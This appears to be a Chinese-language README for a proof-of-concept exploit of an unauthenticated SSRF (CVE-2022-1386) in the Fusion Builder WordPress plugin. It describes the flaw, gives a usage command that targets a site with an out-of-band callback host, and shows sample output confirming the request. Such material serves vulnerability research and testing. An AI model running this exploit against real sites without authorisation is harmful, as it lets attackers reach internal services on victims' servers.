CVE-2022-1386 – Fusion Builder < 3.6.2 - 未认证SSRF

💥 描述

Fusion Builder插件（由Avada WordPress主题使用）3.6.2之前版本中存在未认证的服务端请求伪造（SSRF）漏洞。
允许攻击者向任意URL发起HTTP请求，可能针对内部服务。

🛡 受影响产品

• Fusion Builder < 3.6.2
• 使用存在漏洞的Fusion Builder插件的Avada主题安装

🔍 CVE详情

• CVE: CVE-2022-1386
• 严重性: 严重
• 攻击向量: 未认证的HTTP POST请求到admin-ajax.php

🧪 PoC使用方法

python3 exploit_cve_2022_1386.py <目标URL> <你的回调URL>

示例：

python3 exploit_cve_2022_1386.py https://vulnerable.site https://abc123.oast.fun

使用Interact.sh或[Burp Collaborator]接收回调。

📋 示例输出

[*] 从目标获取nonce...
[*] 向https://abc123.oast.fun发送SSRF载荷...
[+] SSRF确认：从受害服务器收到回调。

📌 注意 此PoC不会进行数据窃取。 仅限道德使用：未经授权请勿利用系统。

📚 参考 https://wpscan.com/vulnerability/bf7034ab-24c4-461f-a709-3f73988b536b https://theme-fusion.com/documentation/avada/fusion-builder-changelog/